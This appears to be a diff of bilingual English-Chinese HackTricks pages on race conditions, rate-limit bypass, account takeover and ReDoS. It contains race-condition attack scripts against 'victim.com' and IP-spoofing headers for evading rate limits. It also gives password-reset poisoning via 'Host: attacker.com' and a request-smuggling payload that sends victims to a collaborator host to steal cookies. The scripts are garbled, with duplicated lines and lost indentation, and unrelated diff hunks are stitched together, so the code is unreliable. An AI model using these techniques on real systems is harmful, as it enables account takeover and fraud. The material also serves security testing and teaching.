In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.&#x20;
请注意,尽管此改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠但它也可能存在一些软件限制。一些流行的HTTP服务器如Apache、Nginx和Go`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而其他如NodeJS和nghttp2则没有限制。\
这基本上意味着Apache将只考虑来自单个TCP连接的100个HTTP连接限制了此RC攻击
Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\
This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack).
您可以在repo中找到使用此技术的一些示例[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## 原始BF
## Raw BF
在之前的研究之前使用了一些有效载荷这些有效载荷只是试图尽可能快地发送数据包以引发RC。
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
- **Repeater:** Check the examples from the previous section.
- **Intruder**: Send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**
- **Repeater:** 查看上一节中的示例。
- **Intruder**: 将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,并选择有效载荷为**Null payloads**并生成**30个**。
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
- **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## **RC 方法论**
## **RC Methodology**
### 限制溢出 / TOCTOU
### Limit-overrun / TOCTOU
这是最基本的竞争条件类型,其中**漏洞**出现在**限制你可以执行某个操作次数**的地方。比如在网上商店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到。**
This is the most basic type of race condition where **vulnerabilities** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
这种攻击有许多变体,包括:
There are many variations of this kind of attack, including:
- 多次兑换礼品卡
- 多次评价产品
- 提取或转移超过账户余额的现金
- 重复使用单个 CAPTCHA 解
- 绕过反暴力破解速率限制
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
### **隐藏子状态**
### **Hidden substates**
利用复杂的竞争条件通常涉及利用与隐藏或**意外机器子状态**交互的短暂机会。以下是处理此问题的方法:
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **unintended machine substates**. Heres how to approach this:
1. **识别潜在的隐藏子状态**
- 首先确定修改或与关键数据交互的端点,例如用户资料或密码重置过程。重点关注:
- **存储**:优先选择操作服务器端持久数据的端点,而不是处理客户端数据的端点。
- **操作**:寻找更可能创建可利用条件的操作,这些操作会改变现有数据,而不是添加新数据。
- **键控**:成功的攻击通常涉及基于相同标识符的操作,例如用户名或重置令牌。
2. **进行初步探测**
- 使用竞争条件攻击测试识别的端点,观察是否有任何偏离预期结果的情况。意外的响应或应用程序行为的变化可能表明存在漏洞。
3. **证明漏洞**
- 将攻击缩小到利用漏洞所需的最少请求次数,通常仅需两个。这一步可能需要多次尝试或自动化,因为涉及精确的时机。
1. **Identify Potential Hidden Substates**
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
- **Storage**: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- **Action**: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- **Keying**: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
2. **Conduct Initial Probing**
- Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
3. **Demonstrate the Vulnerability**
- Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
### 时间敏感攻击
### Time Sensitive Attacks
请求的时机精确性可以揭示漏洞,特别是当使用可预测的方法(如时间戳)作为安全令牌时。例如,基于时间戳生成密码重置令牌可能允许同时请求相同的令牌。
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
**利用方法:**
**To Exploit:**
- 使用精确的时机,例如单个数据包攻击,发起并发的密码重置请求。相同的令牌表明存在漏洞。
- Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
**示例:**
**Example:**
- 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。
- Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **进行尝试。**
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## 隐藏子状态案例研究
## Hidden substates case studies
### 支付并添加项目
### Pay & add an Item
查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 了解如何在商店中**支付**并**添加一个额外**的你**不需要支付的**项目。
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
### 确认其他电子邮件
### Confirm other emails
这个想法是**同时验证一个电子邮件地址并将其更改为另一个**,以找出平台是否验证了更改后的新地址。
The idea is to **verify an email address and change it to a different one at the same time** to find out if the platform verifies the new one changed.
### 将电子邮件更改为两个基于 Cookie 的电子邮件地址
### Change email to 2 emails addresses Cookie based
根据[**这项研究**](https://portswigger.net/research/smashing-the-state-machine)Gitlab 通过这种方式容易受到接管,因为它可能**将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件**。
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **进行尝试。**
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### 隐藏数据库状态 / 确认绕过
### Hidden Database states / Confirmation Bypass
如果使用**两个不同的写入**在**数据库**中**添加**信息,则在**仅写入第一条数据**的短暂时间内,**确认账户的令牌**可能是**空的**。例如,在创建用户时,**用户名**和**密码**可能会被**写入**,然后**确认新创建账户的令牌**被写入。这意味着在短时间内,**确认账户的令牌为 null**。
If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
因此,**注册一个账户并发送多个带有空令牌**`token=``token[]=`或任何其他变体)以立即确认账户,可能允许确认一个你不控制电子邮件的**账户**。
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
**查看这个** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **进行尝试。**
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Bypass 2FA
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
### 绕过 2FA
以下伪代码容易受到竞争条件的影响,因为在创建会话的非常短时间内,**2FA 并未强制执行**
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 永久持久性
### OAuth2 eternal persistence
有几个 [**OAUth 提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务允许您创建一个应用程序并验证提供者注册的用户。为此,**客户端**需要**允许您的应用程序**访问其在**OAUth 提供者**中的某些数据。\
到此为止,只是一个常见的使用 google/linkedin/github 等的登录您会看到一个页面提示“_应用程序 \<InsertCoolName> 想要访问您的信息您想允许吗_”
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### `authorization_code` 中的竞争条件
#### Race Condition in `authorization_code`
**问题**出现在您**接受**它时,并自动将**`authorization_code`**发送到恶意应用程序。然后,这个**应用程序利用 OAUth 服务提供者中的竞争条件生成多个 AT/RT**_身份验证令牌/刷新令牌_用于您的帐户。基本上它将利用您已接受该应用程序访问您的数据的事实来**创建多个帐户**。然后,如果您**停止允许该应用程序访问您的数据,一对 AT/RT 将被删除,但其他的仍然有效**。
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
#### `Refresh Token` 中的竞争条件
#### Race Condition in `Refresh Token`
一旦您**获得有效的 RT**,您可以尝试**利用它生成多个 AT/RT**,即使用户取消了恶意应用程序访问其数据的权限,**多个 RT 仍然有效。**
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
## **WebSockets 中的 RC**
## **RC in WebSockets**
在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中,您可以找到一个 Java 的 PoC用于并行发送 websocket 消息以利用**Web Sockets 中的竞争条件**。
In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
## References
## 参考文献
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@ -406,8 +394,7 @@ In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) 轻松构建和**自动化工作流**,由世界上**最先进**的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

View File

@ -3,8 +3,8 @@
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}
@ -14,16 +14,15 @@ Get Access Today:
### Exploring Similar Endpoints
Attempts should be made to perform brute force attacks on variations of the targeted endpoint, such as `/api/v3/sign-up`, including alternatives like `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` etc.
应尝试对目标端点的变体进行暴力攻击,例如 `/api/v3/sign-up`,包括 `/Sing-up``/SignUp``/singup``/api/v1/sign-up``/api/sign-up` 等替代方案。
### Incorporating Blank Characters in Code or Parameters
Inserting blank bytes like `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` into code or parameters can be a useful strategy. For example, adjusting a parameter to `code=1234%0a` allows for extending attempts through variations in input, like adding newline characters to an email address to get around attempt limitations.
在代码或参数中插入空字节,如 `%00``%0d%0a``%0d``%0a``%09``%0C``%20`,可以是一种有用的策略。例如,将参数调整为 `code=1234%0a` 允许通过输入的变体扩展尝试,例如在电子邮件地址中添加换行符以绕过尝试限制。
### Manipulating IP Origin via Headers
Modifying headers to alter the perceived IP origin can help evade IP-based rate limiting. Headers such as `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, including using multiple instances of `X-Forwarded-For`, can be adjusted to simulate requests from different IPs.
修改头部以改变感知的 IP 来源可以帮助规避基于 IP 的速率限制。可以调整 `X-Originating-IP``X-Forwarded-For``X-Remote-IP``X-Remote-Addr``X-Client-IP``X-Host``X-Forwared-Host` 等头部,包括使用多个 `X-Forwarded-For` 实例,以模拟来自不同 IP 的请求。
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -37,38 +36,36 @@ X-Forwared-Host: 127.0.0.1
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
```
### 更改其他头部
### Changing Other Headers
建议更改其他请求头,例如用户代理和 cookies因为这些也可以用于识别和跟踪请求模式。更改这些头部可以防止识别和跟踪请求者的活动。
Altering other request headers such as the user-agent and cookies is recommended, as these can also be used to identify and track request patterns. Changing these headers can prevent recognition and tracking of the requester's activities.
### 利用 API 网关行为
### Leveraging API Gateway Behavior
某些 API 网关被配置为根据端点和参数的组合应用速率限制。通过改变参数值或向请求中添加不重要的参数,可以绕过网关的速率限制逻辑,使每个请求看起来都是唯一的。例如 `/resetpwd?someparam=1`
Some API gateways are configured to apply rate limiting based on the combination of endpoint and parameters. By varying the parameter values or adding non-significant parameters to the request, it's possible to circumvent the gateway's rate-limiting logic, making each request appear unique. For exmple `/resetpwd?someparam=1`.
### 在每次尝试之前登录到您的帐户
### Logging into Your Account Before Each Attempt
在每次尝试或每组尝试之前登录到帐户,可能会重置速率限制计数器。这在测试登录功能时尤其有用。利用像 Burp Suite 这样的工具中的 Pitchfork 攻击,在每几次尝试中轮换凭据,并确保标记跟随重定向,可以有效地重启速率限制计数器。
Logging into an account before each attempt, or every set of attempts, might reset the rate limit counter. This is especially useful when testing login functionalities. Utilizing a Pitchfork attack in tools like Burp Suite, to rotate credentials every few attempts and ensuring follow redirects are marked, can effectively restart rate limit counters.
### 利用代理网络
### Utilizing Proxy Networks
部署一个代理网络,将请求分散到多个 IP 地址,可以有效绕过基于 IP 的速率限制。通过通过各种代理路由流量,每个请求看起来都来自不同的来源,从而稀释速率限制的有效性。
Deploying a network of proxies to distribute the requests across multiple IP addresses can effectively bypass IP-based rate limits. By routing traffic through various proxies, each request appears to originate from a different source, diluting the rate limit's effectiveness.
### 在不同帐户或会话之间分散攻击
### Splitting the Attack Across Different Accounts or Sessions
如果目标系统在每个帐户或每个会话的基础上应用速率限制,将攻击或测试分散到多个帐户或会话可以帮助避免检测。这种方法需要管理多个身份或会话令牌,但可以有效地分散负载,以保持在允许的限制内。
If the target system applies rate limits on a per-account or per-session basis, distributing the attack or test across multiple accounts or sessions can help in avoiding detection. This approach requires managing multiple identities or session tokens, but can effectively distribute the load to stay within allowable limits.
### 继续尝试
### Keep Trying
Note that even if a rate limit is in place you should try to see if the response is different when the valid OTP is sent. In [**this post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), the bug hunter discovered that even if a rate limit is triggered after 20 unsuccessful attempts by responding with 401, if the valid one was sent a 200 response was received.
请注意,即使存在速率限制,您也应该尝试查看在发送有效 OTP 时响应是否不同。在 [**这篇文章**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732) 中,漏洞猎人发现,即使在 20 次不成功的尝试后触发了速率限制并以 401 响应,如果发送了有效的 OTP则会收到 200 响应。
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}

View File

@ -1,78 +1,77 @@
# Registration & Takeover Vulnerabilities
# 注册与接管漏洞
{{#include ../banners/hacktricks-training.md}}
## Registration Takeover
## 注册接管
### Duplicate Registration
### 重复注册
- Try to generate using an existing username
- Check varying the email:
- uppsercase
- \+1@
- add some dot in the email
- special characters in the email name (%00, %09, %20)
- Put black characters after the email: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- 尝试使用现有用户名生成
- 检查不同的电子邮件:
- 大写字母
- \+1@
- 在电子邮件中添加一些点
- 电子邮件名称中的特殊字符 (%00, %09, %20)
- 在电子邮件后放置黑色字符:`test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### Username Enumeration
### 用户名枚举
Check if you can figure out when a username has already been registered inside the application.
检查您是否可以确定用户名是否已在应用程序中注册。
### Password Policy
### 密码策略
Creating a user check the password policy (check if you can use weak passwords).\
In that case you may try to bruteforce credentials.
创建用户时检查密码策略(检查是否可以使用弱密码)。\
在这种情况下,您可以尝试暴力破解凭据。
### SQL Injection
### SQL 注入
[**Check this page** ](sql-injection/#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms.
[**查看此页面**](sql-injection/#insert-statement)以了解如何尝试账户接管或通过**SQL 注入**在注册表单中提取信息。
### Oauth Takeovers
### Oauth 接管
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### SAML Vulnerabilities
### SAML 漏洞
{{#ref}}
saml-attacks/
{{#endref}}
### Change Email
### 更改电子邮件
When registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
注册后尝试更改电子邮件,并检查此更改是否正确验证或是否可以更改为任意电子邮件。
### More Checks
### 更多检查
- Check if you can use **disposable emails**
- **Long** **password** (>200) leads to **DoS**
- **Check rate limits on account creation**
- Use username@**burp_collab**.net and analyze the **callback**
- 检查是否可以使用**一次性电子邮件**
- **长** **密码** (>200) 导致 **DoS**
- **检查账户创建的速率限制**
- 使用 username@**burp_collab**.net 并分析 **回调**
## **Password Reset Takeover**
## **密码重置接管**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
### 通过引荐者泄露密码重置令牌 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Request password reset to your email address
2. Click on the password reset link
3. Dont change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.
1. 请求将密码重置到您的电子邮件地址
2. 点击密码重置链接
3. 不要更改密码
4. 点击任何第三方网站例如FacebookTwitter
5. 在 Burp Suite 代理中拦截请求
6. 检查 referer 头是否泄露密码重置令牌。
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
### 密码重置中毒 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
1. 在 Burp Suite 中拦截密码重置请求
2. 在 Burp Suite 中添加或编辑以下头部:`Host: attacker.com``X-Forwarded-Host: attacker.com`
3. 转发带有修改头部的请求\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于 _host 头_ 的密码重置 URL例如`https://attacker.com/reset-password.php?token=TOKEN`
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@ -89,60 +88,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. Attacker have to login with their account and go to the **Change password** feature.
2. Start the Burp Suite and Intercept the request
3. Send it to the repeater tab and edit the parameters : User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
1. 攻击者必须使用他们的账户登录并进入**更改密码**功能。
2. 启动Burp Suite并拦截请求
3. 将其发送到重复器选项卡并编辑参数用户ID/电子邮件\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
The password reset token should be randomly generated and unique every time.\
Try to determine if the token expire or if its always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
密码重置令牌应该是随机生成的,并且每次都是唯一的。\
尝试确定令牌是否过期或是否总是相同,在某些情况下,生成算法较弱,可以被猜测。以下变量可能被算法使用。
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Cryptography
- Number only
- Small token sequence ( characters between \[A-Z,a-z,0-9])
- Token reuse
- Token expiration date
- 时间戳
- 用户ID
- 用户电子邮件
- 名字和姓氏
- 出生日期
- 加密
- 仅数字
- 小令牌序列(字符在\[A-Z,a-z,0-9]之间)
- 令牌重用
- 令牌过期日期
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
2. Inspect the server response and check for `resetToken`
3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. 使用API/UI触发特定电子邮件的密码重置请求例如test@mail.com
2. 检查服务器响应并查看`resetToken`
3. 然后在URL中使用令牌例如`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Register on the system with a username identical to the victims username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
2. Request a password reset with your malicious username.
3. Use the token sent to your email and reset the victim password.
4. Connect to the victim account with the new password.
1. 使用与受害者用户名相同的用户名在系统中注册,但在用户名前后插入空格。例如:`"admin "`
2. 使用您的恶意用户名请求密码重置。
3. 使用发送到您电子邮件的令牌重置受害者密码。
4. 使用新密码连接到受害者账户。
The platform CTFd was vulnerable to this attack.\
See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
平台CTFd对该攻击存在漏洞。\
见:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
2. Leak the current **sessions cookie**
3. Authenticate as the user using the cookie
1. 在应用程序或子域中找到XSS如果cookies的作用域是父域`*.domain.com`
2. 泄露当前**会话cookie**
3. 使用cookie作为用户进行身份验证
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1\. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)\
1\. 使用**smuggler**检测HTTP请求走私的类型CL, TE, CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` with the goal of open redirect the victims to burpcollab and steal their cookies\
3\. Final request could look like the following
2\. 构造一个请求,该请求将用以下数据覆盖`POST / HTTP/1.1`\
`GET http://something.burpcollaborator.net HTTP/1.1 X:`目的是将受害者重定向到burpcollab并窃取他们的cookies\
3\. 最终请求可能看起来像以下内容
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -154,30 +151,28 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone reports exploiting this bug\
Hackerone 报告利用此漏洞\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Account Takeover via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### 通过 CSRF 实现账户接管 <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Create a payload for the CSRF, e.g: “HTML form with auto submit for a password change
2. Send the payload
1. 创建 CSRF 的有效载荷,例如:“用于密码更改的自动提交 HTML 表单
2. 发送有效载荷
### Account Takeover via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### 通过 JWT 实现账户接管 <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Token might be used to authenticate an user.
JSON Web Token 可能用于验证用户。
- Edit the JWT with another User ID / Email
- Check for weak JWT signature
- 使用另一个用户 ID / 电子邮件编辑 JWT
- 检查 JWT 签名是否弱
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## References
## 参考
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Regular expression Denial of Service - ReDoS
# 正则表达式拒绝服务 - ReDoS
{{#include ../banners/hacktricks-training.md}}
# Regular Expression Denial of Service (ReDoS)
# 正则表达式拒绝服务 (ReDoS)
A **Regular Expression Denial of Service (ReDoS)** happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text they're working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.
